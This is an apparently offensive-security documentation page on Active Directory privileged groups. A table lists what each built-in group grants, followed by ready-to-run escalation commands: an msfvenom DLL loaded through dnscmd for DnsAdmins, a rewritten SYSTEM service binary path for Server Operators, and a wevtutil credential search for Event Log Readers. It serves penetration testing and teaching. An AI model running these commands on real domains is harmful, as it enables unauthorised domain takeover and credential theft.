> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# AD Privileged Groups

AD ships with a set of built-in [security groups](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups), some of which grant members rights that lead straight to Domain Admin or SYSTEM on a Domain Controller, often without the group itself being called anything "admin." Excessive membership in these is one of the most common findings in AD environments. This page covers what each group actually grants and how to abuse it, finding who's in a given group is covered on [AD Enumeration (Credentialed)](https://0-x.dev/ad/enumeration-credentialed.md) (`Get-DomainGroupMember`), and [BloodHound](https://0-x.dev/ad/bloodhound.md) maps this membership against the rest of the domain automatically. Also a very nice CheatSheet from [HackTricks Privileged Groups](https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html#dnsadmins)

<table>
  <colgroup>
    <col width="258" />

    <col width="473" />
  </colgroup>

  <thead>
    <tr>
      <th>Group</th>
      <th>Grants</th>
    </tr>
  </thead>

  <tbody>
    <tr>
      <td>`Account Operators`</td>
      <td>Create/modify most user, local-group and global-group accounts, log on locally to DCs. Cannot touch Administrators, Server Operators, Account Operators, Backup Operators, Print Operators, or the Administrator account itself.</td>
    </tr>

    <tr>
      <td>`Backup Operators`</td>
      <td>Back up/restore any file regardless of its permissions, and log on to / shut down DCs. Can shadow copy the SAM/NTDS database, treat as Domain Admin equivalent.</td>
    </tr>

    <tr>
      <td>`DnsAdmins`</td>
      <td>Access to DNS configuration on a DC, can be leveraged into SYSTEM via a malicious plugin DLL (below).</td>
    </tr>

    <tr>
      <td>`Domain Admins`</td>
      <td>Full administrative rights over the domain and local admin on every domain-joined machine.</td>
    </tr>

    <tr>
      <td>`Enterprise Admins`</td>
      <td>Forest-wide configuration rights (child domains, trusts) root-domain-only, Administrator is the only default member.</td>
    </tr>

    <tr>
      <td>`Event Log Readers`</td>
      <td>Read event logs on local computers only exists once a host is promoted to DC.</td>
    </tr>

    <tr>
      <td>`Group Policy Creator Owners`</td>
      <td>Create/edit/delete GPOs.</td>
    </tr>

    <tr>
      <td>`Hyper-V Administrators`</td>
      <td>Full control of Hyper-V if DCs are virtualized, equivalent to Domain Admin (below).</td>
    </tr>

    <tr>
      <td>`Pre–Windows 2000 Compatible Access`</td>
      <td>Legacy backward compatibility group membership (often a leftover) can let anyone on the network read AD info with no credentials at all.</td>
    </tr>

    <tr>
      <td>`Print Operators`</td>
      <td>Manage printers/printer objects on DCs, can log on to DCs locally and load a malicious printer driver.</td>
    </tr>

    <tr>
      <td>`Protected Users`</td>
      <td>Extra protections against credential theft (Kerberos abuse, etc.) a defensive group, not an abuse path.</td>
    </tr>

    <tr>
      <td>`Remote Desktop Users`</td>
      <td>Grants RDP logon rights.</td>
    </tr>

    <tr>
      <td>`Remote Management Users`</td>
      <td>Grants WinRM access.</td>
    </tr>

    <tr>
      <td>`Schema Admins`</td>
      <td>Modify the AD schema root-domain-only, Administrator is the only default member.</td>
    </tr>

    <tr>
      <td>`Server Operators`</td>
      <td>Administer servers (including DCs) without Domain Admin: modify services, access SMB shares, back up files.</td>
    </tr>
  </tbody>
</table>

***

## DnsAdmins

The DNS service runs as `NT AUTHORITY\SYSTEM` and supports loading a custom plugin DLL with zero validation of its path, configurable over RPC via `dnscmd`. A `DnsAdmins` member can point that plugin path at an attacker-controlled DLL (hosted on a share the DC's machine account can reach) and get it loaded the moment the service restarts.

```shellscript theme={null}
# generate a malicious DLL (e.g. adds the current user to Domain Admins)
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

# point the DNS service at it and restart
dnscmd.exe /config /serverlevelplugindll C:\Tools\adduser.dll

# stop and start the dns server
sc.exe stop dns
sc.exe start dns

# check domain admin privs
net group "Domain Admins" /dom

# restart the server or relogin in the account and verify
```

```shellscript theme={null}
# To cleanup enter
reg delete \\<ip>\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
sc.exe start dns
```

> [!TIP]
>
> Requires a DC restart (or relogon) to take effect, and the registry key is written as plaintext evidence until cleaned up. See [HackTricks' DnsAdmins writeup](https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html#dnsadmins) for the full attack chain and detection notes.

## Server Operators

Can reconfigure any service's binary path, including services that run as SYSTEM, and restart it. Let's examine the `AppReadiness` service. We can confirm that this service starts as SYSTEM using the `sc.exe` utility.

```shellscript theme={null}
sc.exe qc AppReadiness

# Modify the service
sc.exe config AppReadiness binPath= "cmd /c net localgroup Administrators <username> /add"

# Start the service to run the malicous command, it will fail
sc.exe start AppReadiness

# Check permissions
net localgroup Administrators
```

The service itself will fail to start (the binary path isn't a real service), but the command still runs first.

## Backup Operators

Grants `SeBackupPrivilege` domain-wide, full details (SAM/SYSTEM hive backup, the `diskshadow` NTDS.dit extraction method) are on [Windows User Rights Assignment](https://0-x.dev/windows-user-rights-assignment.md) since the privilege itself, not the group, is what does the work.

## Hyper-V Administrators

If any DC runs as a VM, full Hyper-V control is equivalent to Domain Admin: clone the running DC, mount its virtual disk offline, and pull `NTDS.dit` directly with no live-system protections involved at all. Separately, `vmms.exe` restores a deleted VM's `.vhdx` file permissions as SYSTEM without impersonating the caller, a native hard link planted in its place before deletion inherits SYSTEM writable permissions on whatever that link actually points to.

## Event Log Readers

Members can read event logs on local computers. The group is only created when a host is promoted to a domain controller.

```bash theme={null}
# Read logs and search for the string user to get possible creds
wevtutil qe Security /rd:true /f:text | Select-String "/user"
```

***

## Quick Reference Tools

> **[AD Enumeration (Credentialed)](https://0-x.dev/ad/enumeration-credentialed.md)**
>
> Find group membership for any of the groups above.

> **[BloodHound](https://0-x.dev/ad/bloodhound.md)**
>
> Graphs group membership against the rest of the domain to find the actual attack path.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.